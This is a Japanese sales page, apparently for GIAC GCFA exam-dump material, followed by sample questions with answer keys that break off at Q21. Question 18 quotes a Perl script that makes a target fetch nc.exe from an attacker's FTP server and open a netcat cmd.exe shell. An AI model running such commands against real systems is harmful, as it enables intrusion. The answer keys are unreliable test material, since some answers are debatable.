効果的-実際的なGCFA技術内容試験-試験の準備方法GCFA対応資料GCFAトレーニングテストの購入は複雑ではありません。GIAC主に4つのステップがあります。最初に、必要に応じて対応するバージョンを選択できます。 次に、正しいメールアドレスを入力する必要があります。 また、その後のリリースでユーザーがメールを変更した場合は、Jpexamメールを更新する必要があります。 次に、ユーザーは購入するためにGCFA学習教材の支払いページに入る必要があります。 最後に、支払いから10分以内に、システムは自動的にGIAC Certified Forensics AnalystのGCFA学習資料をユーザーのメールアドレスに送信します。 そして、すぐにGCFA試験に合格して合格することができます。
GCFA認定を取得するには、デジタルフォレンジック分析に関連する様々な分野における知識とスキルを評価する厳しい試験に合格する必要があります。これには、ファイルシステム分析、ネットワークフォレンジック、マルウェア分析、インシデント対応などのトピックが含まれます。試験は、チャレンジングであり、デジタルフォレンジック分析で使用される概念や技術の徹底的な理解を示す必要があります。 GIAC Certified Forensics Analyst 認定 GCFA 試験問題 (Q17-Q22):質問 # 17
Peter works as a Security Administrator for SecureEnet Inc. He observes that the database server of the company has been compromised and the data is stolen. Peter immediately wants to report this crime to the law enforcement authorities. Which of the following organizations looks after the computer crimes investigations in the United States?
A. Local or National office of the US secret service
B. Incident response team
C. National Institute of Standards and Technology
D. Federal Bureau of Investigation
正解:A
解説:
Section: Volume C
質問 # 18
Adam, a malicious hacker performs an exploit, which is given below:
#################################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = 'noone@nowhere.com';# password
#################################################################
$host = $ARGV[0];
print "Starting ...";
print "Server will download the file nc.exe from $your FTP server."; system("perl msadc.pl -h $host -C "echo
open $your >sasfile""); system("perl msadc.pl -h $host -C "echo $user>>sasfile""); system("perl msadc.pl -h
$host -C "echo $pass>>sasfile""); system("perl msadc.pl -h $host -C "echo bin>>sasfile""); system("perl
msadc.pl -h $host -C "echo get nc.exe>>sasfile""); system("perl msadc.pl -h $host -C
"echo get hacked.
html>>sasfile""); system("perl msadc.pl -h $host -C "echo quit>>sasfile""); print
"Server is downloading ...
";
system("perl msadc.pl -h $host -C "ftp -s:sasfile""); print "Press ENTER when download is finished ...
(Have a ftp server)";
$o=; print "Opening ...";
system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); print "Done.";
#system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?
A. Creates an FTP server with write permissions enabled
B. Creates a share called "sasfile" on the target system
C. Opens up a SMTP server that requires no username or password
D. Opens up a telnet listener that requires no username or password
正解:D
質問 # 19
A firewall is a combination of hardware and software, used to provide security to a network. It is used to protect an internal network or intranet against unauthorized access from the Internet or other outside networks. It restricts inbound and outbound access and can analyze all traffic between an internal network and the Internet.
Users can configure a firewall to pass or block packets from specific IP addresses and ports. Which of the following tools works as a firewall for the Linux 2.4 kernel?
A. Stunnel
B. OpenSSH
C. IPChains
D. IPTables
正解:D
解説:
Section: Volume A
質問 # 20
Which of the following tables is formed by NTFS file system to keep the track of files, to store metadata, and their location?
A. The System File Table
B. The File Allocation Table
C. The Master File Table
D. The Master Allocation Table
正解:C
質問 # 21
This type of virus infects programs that can execute and load into memory to perform predefined steps for infecting systems. It infects files with the extensions .EXE, .COM, .BIN, and .SYS. As it can replicate or destroy these types of files, the operating system becomes corrupted and needs reinstallation. This type of virus is known as __________.